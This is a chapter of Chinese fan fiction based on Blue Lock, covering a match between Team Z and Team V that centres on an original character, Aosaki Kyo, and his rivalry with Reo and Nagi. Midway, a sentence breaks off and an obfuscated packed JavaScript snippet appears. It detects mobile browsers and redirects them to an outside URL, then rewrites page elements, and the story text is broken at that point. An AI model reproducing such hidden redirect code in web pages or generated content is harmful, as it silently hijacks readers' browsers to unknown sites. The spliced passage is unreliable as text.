在成早和雷市的二次包夹中,凪诚士郎在愈发紧缩的停球空间下起跳,抬脚。 在他身后飞来的足球如完成的剧本般恰好在这一刻发生了下落,撞在鞋面上。那只球鞋的鞋面上仿佛存在着一个人造的微型黑洞,旋转被引力全数吸收,足球安安静静地被凪诚士郎停在了脚上。 “唔?”镜下意识出声:“接住了?” 那个比自己刚刚接到的球更难接的球? 厉害…… 但是要怎么射门呢?落地后没有二次停球的时间,成早和雷市已经赶上来了—— 展示了天才技巧的银发前锋没有任何多余的动作,他给出的答案,是不停球直接射门。 嘟嘟——! 哨响,进球有效,比分1:1。 镜默默攥紧胸口的衣服,忽然加速的心跳似乎证明了某种阔别已久的感情。 他看向对手球队中的银发少年——苍蓝色的眼睛,却直直撞上少年身边那双紫色的眼眸,迎上骄傲又挑衅的神情。 来「认识」一下吧,仙台的天才,这就是我的「宝物」。 不输给有名气的你、不对,应该是「超越」你,而且一定会将你「迭代」的、真正的天才。 34.思维盲区 “「凪」啊。”看着那样的射门,镜默念那名选手的名字,“原来如此,我记住了。” 不过,之前的高中足球如果有这样有意思的选手,为什么我会不知道呢? 2018年,白宝高中足球社迎来了新人,自此勉勉强强凑齐全国大赛的首发十一人。 “全国冠军?玲王,虽然知道你不会轻易变卦,但你真的要以这个为目标吗?”身着白宝高中学校制服的男生说,“我们学校的足球社你也是清楚的,比不了那些国内豪强。” 面对这瓢冷水,玲王看向一边懒洋洋地顶着足球玩耍的凪,不由露出笑容。 “没事的,有凪在,得到全国冠军是有把握的事。” 比起站上世界顶点的目标,这点小小的未知只是考试前的练习而已。 陌生男生挑起一边的眉:“……” 流入新血的白宝足球社一改常态,在县内的比赛斩下连胜,夺得全国大赛的门票。 所谓天才,就是用短短半年时间,取得普通人花费数十年汗水取得成就的人。 按理来说一切都在玲王的计划内,他和凪一起,完美取得了预期之中的成绩。似乎这样就可以向质疑他的选择,否决他寻找到的这份「兴趣」的意义的人证明他们才是错的,但这份喜悦却被意料之外的家伙冲淡。 房间里,御影玲王百无聊赖的表情被眼前一幕打破。电视机上是宫城县县内预选赛决赛的转播,场外热血欢腾,摄影机记录到关键的一刻:杉泽第三传球,队内「7号」,苍崎镜接球。 接球的那家伙,用着过家家般稀松平常的冷淡姿势再远传,可足球上体现出的力量和准度却堪称恐怖。 如果是自己,要传那样的球大概要比他多花零点几秒时间用来调整姿势,确保落点和弧线是凪最适合去接的球。可是这家伙仿佛不需要思考,在一瞬间完成了从接球到传球的条件反射,这种熟练程度绝不是单纯的努力就能概括。这种「球感」,没错的,眼前那家伙也是和凪一样的天才。 但是,玲王并没有因为这个结论产生任何的自卑或是畏惧。 他握住钢笔,指尖抵在笔杆上。而能感觉到的,唯有不可言明的「兴奋」。 如果要和凪成为世界顶级的前锋,那么让这样的家伙作为被我们打败的对手,作为世界第一前锋的垫脚石,才算够格吧? 来吧,在全国大赛的赛场上决胜,看看你和凪谁才是真正的天才! 即使那封全国大赛的挑战书被镜在一无所知里单方面撕毁;回到蓝色监狱的赛场之后,玲王分出了一部分的注意力观察着目睹那一球后镜的反应。那家伙攥紧了胸口的球衣。是感到紧张吗? 不过,现在再决出胜负,也不算迟。 我会证明我才是正确的。 镜放开攥着心脏的右手,深深呼吸,让肺部充分浸透球场上飘洒着露水的空气。 比分1:1,第三球,KickOff。 洁起脚向边路长传:“镜!” 镜稳稳地起跳停球,后脚跟一磕球面将足球绕过肩膀落在身前,随后控球前压。 就在他准备加速前,玲王从后方杀出强势横插到他与球门之间。 镜刹住脚,踩稳球:“你的确很厉害,玲王,但是要1V1防守我还是差了点吧?” 玲王露出势在必得的笑容:“但是你也没法射门,对吧?” 玲王说的没错。和国神还有马狼那样的力量型选手不一样,对自己来说这个距离有点勉强,必须强行过掉他才能进入射程。 镜的目光中闪过一丝专注的兴致——那就强行过掉好了。 随着这个念头的产生,镜忽然动了,踏步爆冲直指玲王身体左侧。反应过来后,玲王立刻拦住了左边的空档。 反应也很快。 那么干脆再加点花样吧,这样如何? 镜急刹住车,轻踩足球转动重心接一个一百八十度转身,足球在同一时间被轻轻推到另一只脚脚下,他得以整个人连球带人从玲王左侧方杀出。 马赛回旋? 被用从没见镜用过的一招过掉,玲王啧了一声:“还会这一招啊,这家伙。” 意料之外,情理之中吧。 同一时间,Z队锋线整体向前推进。和V队的后防发生了正面交锋。 看着两名后卫朝镜所在的边路包去,等候到绝妙时机的国神抓住机会进入射程。 “苍崎,传球!” 听到国神的声音,看到他和千切在自己过掉玲王的同时同步压上接应的声音,镜缓慢而坚定地将视线指向球门。 “抱歉,国神,千切。”镜低声说,“这场比赛,我会用我的节奏去踢。” 即使是两个人来防守我又如何? 足球随着一声爆响凌空飞起,夸张的大角度让它越过防守球员的头顶,从守门员的视线内向着球门死角极速下坠! 砰! 足球砸入V队守门员的手套里,那个男生颤抖着手将不甘旋转的足球按死在怀中。 “——唔?” 镜清楚地看到了:在这一球落下前,球路变得清晰明了之前,对手的守门员就已经起跳了。 这只能证明一件事:他之所以能防住这颗球,是因为他完全预判到了自己的射门思路,提早确认了射门的路线,并在足球来到那里之前就彻底封死了那里! 但是,怎么可能呢?要做到这种事,要清楚自己的习惯和踢法,还要有放弃其它死角的魄力。正因为如此,哪怕自己的习惯已经完完全全地展露人前,可迄今为止,在这个蓝色监狱里依然没有人敢于从这一点下手防守自己。 难不成,不只是我们研究了你们,就连你们也在玲王的带领下看透了我们吗? 在镜的目光中,V队的守门员咬咬牙,大喊着「玲王!」将足球抛向中场。 “这是你第一次被人看破吗,苍崎?”玲王接到球,几步跑动甩开国神的防守,“再来一次,上吧,凪!” 和上一球完全一样的传球轨迹,脑海里已然浮现凪诚士郎破门的画面。洁世一回身喊:“拦住他!雷市!毛栗!” “好!我去盯他,雷市你在前面等着!” 吃到上一次防守的教训,这次雷市选择留在凪的前方,不给他停球后直接射门的空间,而由五十岚栗梦上前逼抢同时堵住他最适合射门的角度。 但是,球就这样平凡地落在凪的脚尖,向着映着虚假天空的天花板高空高高弹起。 起跳,凪诚士郎第二次起跳,但姿势与第一次截然不同。 足球的受到的弹力消失,飞至最高点后缓缓下落。也是在这一秒飞跃而起的凪诚士郎在半空中旋转身体,倒转头脚,用自下而上的脚背抡出一道半圆形的弧度甩上了足球的黑白皮面。 足球带着旋转,在伊右卫门徒劳伸出无法触及的指尖边缘,向球门的右上角打门。 比分变为2:1。没人能想到这一球会以这样的方式踢进。 “喂!苍崎!你这混蛋,踢不进球为什么不传球啊!”眼看着球队因这一球丢分,雷市握着拳头嚷嚷着走向镜。 “唔?嗯,抱歉。”镜看上去有点心不在焉,“我以为能踢进。” 雷市看上去更抓狂了,怒吼道:“哈?你这是什么态度啊!” “抱歉,雷市。”镜下意识答道,看着洁说:“洁,我大概确实被玲王和凪压制了。” “……”洁揪起球衣擦拭汗水,他猜到镜还有没说完的话,“那么,你打算怎么办?” 镜想了想,看向国神和千切:“单打独斗不行的话,我来试试给你们传球。” 明明出现了机会却因为没有传球而没能射门,国神抓了抓头发:“要是苍崎你能早五分钟这么想就好了。” 目睹同一个瞬间的千切抓住这一点尖锐地吐槽:“不是说要用自己的节奏踢吗?” 镜吊着死鱼眼说:“不要一副很懂我的样子。就算想换种风格,我同样也不想输。” 这大概就是那种会麻烦到让人抱怨少年心事真难懂的类型。 在上半场还未过半时就已产生了三个进球。现在是第四球。 这次球没有来到自己这边,不过匀给自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298213|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 防守队员更多,就意味着国神和千切那边的防守更为薄弱。 镜一边等待机会一边在边路游走,注意力始终放在国神所在的中路和千切所在的右边路。 洁会选择谁?国神,还是千切? 洁传出了这一球:“国神!” 是国神啊。镜立即动身找寻最好的接应位置,那么我就在这里拉扯防线,给你创造进入射程后最完美的直线射门通道—— ……吗? 暗处萌生的危机感让镜调转脚步,向着那道从侧方逼近国神的紫发身影调头。 不对,如果说对面真的看透了我,以玲王的能力,那么国神和千切没理由被忽略。 国神进入射程后的超远射门对对面威胁极大,所以如果我是「玲王」,不会任由他过掉己方球员后毫无压力地起脚射门! “还没到你的射程吧?肌肉国神。” 在中路,球被玲王联合另两名球员断下来,他抛下一句戏谑的嘲讽,带球反跑。 五米、四米—— “抱歉,玲王。” 镜压低身体缓解惯性,停蹄奔马般站定在玲王面前两步远的位置,封住玲王向凪发出长传的最佳路线。 镜扫了一眼身侧的成早和我牙丸,默默说:“想给凪传球,现在是不可能的。” “还以为已经干掉你了呢,天才。” 面对镜突然的回防,玲王恼火地笑笑,从国神的干扰下护住球。 镜没有贸然参与抢断,而是用站在原地来确保玲王没有一丝一毫传球给凪的可能。 时间一分一秒流逝,玲王叹口气,笑了笑:“真拿你们没办法。既然如此,斩铁!” 玲王踩住球,在国神一脚抢空的瞬间,朝镜防守的反方向传球。 V队三人组之一,剑城斩铁接到命令后立刻开始助跑。同一时刻,千切开始起跑。 速度VS速度,在足球静静落在Z队边线的内侧后,最终,先对手一步赶到的是—— 几乎同时。 但,斩铁伸出右腿,较千切更为高大的体格赋予了他略远一点的触球距离。正是这几公分的优势让他得以护住球,向中路甩开国神在前方等候的玲王继续回传。 “不错,斩铁!” 玲王接住球,挑起眉看了眼阴魂不散的镜,意味深长地笑起来,来了记横向短传。 “喂喂,你们有点太害怕凪了吧?斩铁这家伙虽然笨蛋,但实力也算不容小觑的。” 剑城斩铁接球,他抬起头,眼前有一道狭窄的锐角状通路,从他所在的边路直通向球门的右上方死角。 一记射门如箭矢离弦从剑城斩铁的脚下射出,擦着成早和雷市的身体打进球门。 比分,再度更迭为3:1。 玲王揉着肩膀,战术奏效的喜悦和兴奋促使着他走向了镜,问道: “怎么样?苍崎。再不拿出点真本事,就干脆把「天才」这个名号让给凪吧?” “……”看着玲王眼中不掩饰的自信和野心,镜发自内心地回答:“超——厉害。” 这超乎预料的回答让玲王一时没法确定镜的意思,只好反问:“哈?你说真的?” 镜指着自己:“从以前开始,我就很难组织起这种进攻。有机会教教我吧?” 玲王挑起眉:“如果有机会的话,在跟凪训练之余是可以教教你。” 被针对「天才」的名号评价还能说出这种话,这家伙原来是不慕名利的性格吗? 镜点点头,放下手,满意道:“嗯,谢谢你,玲王。天才什么的,随便你。不过……” 他终于正面回应了玲王的话,直面从玲王身上感受到的「敌意」的源头。 镜敲敲脖子,抬起头。雪白的刘海下是一双眸光冷彻的苍蓝之瞳。 “不过,回到这场比赛——你给出的「策略」,没有考虑过「进化」的可能吧?” 玲王皱眉:“……?”这家伙在说什么? 镜礼貌地点头示意,跟玲王道别后,重新回到自己的位置。 比分3:1,上半场,继续开球。